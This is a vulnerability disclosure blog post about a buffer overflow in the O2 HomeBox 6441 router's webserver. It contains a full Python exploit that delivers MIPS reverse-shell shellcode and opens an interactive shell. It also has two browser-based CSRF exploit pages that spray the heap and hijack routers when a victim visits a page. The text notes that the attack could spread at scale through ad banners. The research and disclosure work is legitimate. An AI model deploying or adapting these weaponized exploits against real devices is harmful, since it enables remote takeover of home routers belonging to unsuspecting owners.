Introduction
We regularly investigate the security of Customer
Premises Equipment (CPEs), also known as SOHO routers. One important aspect of
these investigations is to check for memory corruption vulnerabilities like
buffer overflows. While these types of bugs were discovered in 1996[1]
and secure coding practices as well as exploitation mitigation techniques should
render these issues to a vanishing phenomenon, we still encounter them on
today’s devices.
In August 2018, NSIDE investigated the O2
HomeBox 6441 in terms of memory corruption vulnerabilities and discovered a
buffer overflow in the embedded webserver. Most
of the time NSIDE doesn't publish such findings, because we are bound by NDAs
The
Vulnerability
Usually all parameters that are accepted by
the webserver get sanitized and their length is checked or ceiled against/to an
upper bound. The parameter in question however is a synchronizer token that is
sent automatically by the browser of a user. Maybe this is the reason why the
value was not sanitized before it is used, as regular users cannot influence
this token in a normal interaction. Malicious users (attackers) however may
look for memory corruptions in these very locations.
The identified parameter is called _tn and is evaluated, if sent to the
/cgi/ path of
the webserver. We minimized the required request to the following one:
GET /cgi/?_tn=OVERFLOW HTTP/1.1
Host: 192.168.1.1
The vulnerability was discovered using fuzzing. If the length of the _tn token exceeds 153 bytes, the webserver will crash. Such a behavior strongly suggests that an overflow of the parameter occurred. However it remains uncertain where the overflow occurred and what action was conducted at this point. Often an overwritten pointer is the cause of such behavior, which we confirmed in this instance. The severity of such a pointer overwrite depends on whether data is loaded from the pointer, it is stored to the pointer, or in the worst case, the pointer is loaded into the program counter.
Investigation
of the Vulnerability
One approach to debug an issue like this is
to “just break the thing and look at the pieces”. As NSIDE had debug access to
the device, it was found most informative to trigger the overflow and look at
the produced stack trace after the crash occurred. So after sending many A’s
for the affected parameter, the following stack trace could be observed on the
device by issuing dmesg:
41 is the binary representation of A. The
information that can be gathered from the screenshot confirms an attacker’s
hope, that the program counter which resides in the EPC register in this MIPS
architecture can be overwritten by 0x41414141 or any other value which is indeed the most critical of all
options.
The overflow not only allows to divert the
execution flow to a location controlled by the attacker, but apparently also
allows to control huge portions of the stack.
Knowing that most CPEs (or routers) are
running older versions of Linux, the next step was to investigate which
countermeasures for such vulnerabilities were in place. Fortunately for us ASLR
was only used partially (only the stack location is randomized, the heap
resides at a static location) and NX was not used at all (as heap and stack are
marked executable) in this particular device:
This means that an attacker may inject
shellcode to the heap or the stack and execute it by overwriting EIP with the
address of the shellcode to achieve remote code execution (RCE).
As we are always dedicated to get the most
out of a vulnerability and to use it in our Red Team Engagements for example, a
weaponized exploit was created to also demonstrate the real impact of this and
to underline the importance of a solid patch in the near future.
Exploiting
the Vulnerability
A first step to a successful exploit was to
identify a location within the address space of the program where shellcode
could be placed and called reliably. As the stack is randomized by ASLR, the
heap was found to be the more interesting target for shellcode. NSIDE changed
the request to the following one:
GET /cgi/?_tn=’A’*157 HTTP/1.1
Host: 192.168.1.1
‘B’*1000
The request was sent to the server and searched within the heap of the webserver using GDB in order to find addresses where the A’s (0x41) and B’s (0x42) reside.
The whole GET request was successfully
found at address 0x448305,
starting with 0x474554 (Hex value
for GET).
As the heap is not affected by ASLR,
shellcode can reliably be placed and called at 0x4483c8
(Where the B’s start). This means exploitation
should be possible by substituting the B’s with suitable shellcode and trigger
the overflow by sending A for 153 times followed by the address 0x4483c8 (in Hex: ‘\x41’ * 153 + ’\x00\x44\x83\xc8’).
But there is one problem left: The address
within the heap contains a leading null byte. Unfortunately the vulnerability
emerges from an unsafe string operation, resulting in the string being
terminated as soon as a null byte is processed.
During some
unsuccessful attempts with return oriented programming (ROP[2])
an odd behavior was observed. Apparently the string operation did not copy the
supplied string 1:1. Sending a string of 162 A’s followed by “BCD” resulted in
this peculiar representation on the stack:
So apparently the
end of the string appeared twice, separated by a null byte. The copy
functionality hence produced ABCD\x00BCD from the input ABCD. This was a lucky
finding and enabled RCE (Remote Code Execution).
The final exploit
looked close to this:
GET /cgi/?_tn= 'A' * 153 +
'\x44\x83\xcc' HTTP/1.1
Host: 192.168.1.1
SHELLCODE
Due to the minimal different request, the
address of the shellcode was slightly shifted to 0x4483cc. As shellcode, a reverse shell was submitted and was found to be
working as depicted in the following screenshot.
Exploit code here:
Exploit code here:
#!/usr/bin/env python3 import struct, socket, sys, telnetlib from time import sleep def interactive(sock, production = True): if production: sock.send(b'uname -a;id;echo "\n"\n') sleep(.1) t = telnetlib.Telnet() t.sock = sock t.interact() if(len(sys.argv) < 5) : print('[-] Usage : pwn.py remote_ip remote_port local_ip local_port') print('[!] ATTENTION: Arguments have to be valid at first attempt, further attempts all trigger the values sent at first attempt') sys.exit(-1) host = sys.argv[1] port = int(sys.argv[2]) rev_port = int(sys.argv[4]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s1.settimeout(2) print('[+] Starting listener on 0.0.0.0:' + str(rev_port) + '\n') s1.bind(("0.0.0.0", rev_port)) s1.listen(2) try : s.connect((host, port)) except : print('[-] Unable to connect') sys.exit(-1) print('[+] Connected to remote host') #ip to bytes for the shellcode ip = sys.argv[3].split('.') a = bytes([int(ip[0])]) b = bytes([int(ip[1])]) c = bytes([int(ip[2])]) d = bytes([int(ip[3])]) rev_port = struct.pack('>H',rev_port) shellcode = b'\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21' shellcode += b'\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01' shellcode += b'\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff' shellcode += b'\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e' + rev_port shellcode += b'\x35\xce' + rev_port + b'\xaf\xae\xff\xe4\x3c\x0e' + a + b + b'\x35' shellcode += b'\xce' + c + d + b'\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c' shellcode += b'\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01' shellcode += b'\x0c\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff' shellcode += b'\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24' shellcode += b'\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06' shellcode += b'\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff' shellcode += b'\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0' shellcode += b'\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf' shellcode += b'\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01' shellcode += b'\x01\x0c' print('[+] Pushing shellcode and returning to heap\n') payload = b'A' * 153 + b'\x44\x83\xcc' # return to 0x4483cc on the heap request = b'GET /cgi/?_tn=' + payload + b' HTTP/1.1\r\n' request += b'Host: 192.168.1.1\r\n' request += shellcode + b'\r\n\r\n\r\n' s.send(request) sleep(.5) (client, (ip, port)) = s1.accept() print('[+] Incoming connection from: ' + ip + ':' + str(port) + '\n') interactive(client)
The exploit was
also found to be working remotely on CPEs whose owners exposed the webserver to
the Internet by enabling the remote management capability. At the time of the
test almost 2000 of these vulnerable routers were found on Shodan only, exposing
their webserver to the Internet. But why settle for this number if we could also
be…
Smashing
the concealed Stack by Redirection
for Fun and Profit
To further expand the number of potential
targets, a technique called cross site request forgery (CSRF[3])
came to mind. An attacker that is able to convince his victim to visit a
website under his control is able to send requests from their browser to other
websites. As the router does not implement any countermeasure against this type
of attack and the exploited overflow was quite simple, this attack seemed
feasible. However certain constraints had to be met:
1.
As the request would be sent by
the browser of the victim, GET parameters in the URL will get URL encoded if
they contain special characters.
2.
The request itself is rather
malformed and has to contain shellcode which consists mainly of non ASCII
characters.
The second constraint could be met quite
easily, as XMLHttpRequest(XHR) allows to submit all characters in C encoding if
submitted as POST parameter.
The first constraint however was a bit
harder to meet. As no special characters could be placed within the address of
the shellcode, a robust location for the shellcode had to be found with an
alphanumeric address (the existing exploit uses the address 0x4483c8 which is not alphanumeric;
browsers would send this address as D%83%c8 or even D%25%8d%25%c8).
After another round of investigation, we realized
that the webserver was using not one, but eight threads for processing incoming
requests, each having its own separate address space on the heap.
The plan to exploit this would be to flood
the webserver with POST requests containing the shellcode. Hopefully one thread
would be writing the shellcode to an alphanumerical address from where we can
execute it with another GET request as with the normal exploit.
The following proof of concept (POC) was
created to evaluate whether one of the eight threads would write to an
alphanumerical location within the address space.
<html> <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/o2.box\/cgi\/", true); var body = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } for (i = 0; i < 100; i++) { submitRequest(); } </script> </body> </html>
By visiting this website, the browser is
sending 100 POST requests containing many A’s to the webserver of the router.
After this interaction the heap of the webserver was inspected.
The POST request was identified at 0x448300, 0x44aad0, 0x44d2a0, 0x44fa70, 0x452240, 0x454a10, 0x4571e0 and 0x4599b0.
Therefor the addresses 0x452240, 0x454a10 and 0x4571e0 seemed promising, as the
other locations contain a none ASCII character in the middle (only characters 0x20-0x7e are printable ASCII
characters). Upon inspection of the first address we indeed recognized A’s that
could be addressed with ASCII characters:
0x23 corresponds
to # and will not be sent by browsers, but the $ character (0x24) will be. Thus the address 0x452424 (E$$) will be used as
location for the shellcode. The proof of concept has only to be modified
slightly to complete the attack.
The used shellcode injects a reverse shell which connects to 192.168.1.216 on port 1337 into memory and gets executed successfully. This exact JavaScript code works for Firefox on Kali Linux. It might be necessary to slightly edit the script to support different operating systems or browsers (as the shellcode might reside in slightly different locations due to headers that the browser sends for the 100 POST requests).
- The A’s of the 100 POST requests have to contain the shellcode (after 189 characters of padding).
- A 101st request has to trigger the overflow and induce the execution of the shellcode.
<html> <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/o2.box\/cgi\/", true); var body = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x05\x39\x35\xce\x05\x39\xaf\xae\xff\xe4\x3c\x0e\xc0\xa8\x35\xce\x01\xd8\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } for (i = 0; i < 100; i++) { submitRequest(); } var xhr = new XMLHttpRequest(); xhr.open("GET", "http:\/\/o2.box\/cgi\/?_tn=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE$$", true); xhr.send(); </script> </body> </html>
The used shellcode injects a reverse shell which connects to 192.168.1.216 on port 1337 into memory and gets executed successfully. This exact JavaScript code works for Firefox on Kali Linux. It might be necessary to slightly edit the script to support different operating systems or browsers (as the shellcode might reside in slightly different locations due to headers that the browser sends for the 100 POST requests).
An attacker that is able to lure his
victims to a website, or embed this JavaScript into advertisement banners would
be able to take over these routers on a massive scale over the Internet.
The vulnerability was reported to the distributor
and is fixed in the current version of the firmware. It was present in version 1.01.30 (and maybe older versions) of
the O2 HomeBox 6441, manufactured by Arcadyan/Astoria. The vulnerability was
not encountered in other products of Arcadyan/Astoria in the German market
(Speedport, Easybox, etc.), but NSIDE cannot guarantee that the code was not
used for other devices in general.
[1] ONE, Aleph. Smashing the stack for fun and profit. Phrack
magazine, 1996, 7. Jg., Nr. 49, S. 14-16.
[2] SHACHAM, Hovav, et al. The geometry of innocent flesh on the bone:
return-into-libc without function calls (on the x86). In: ACM conference on
Computer and communications security. 2007. S. 552-561.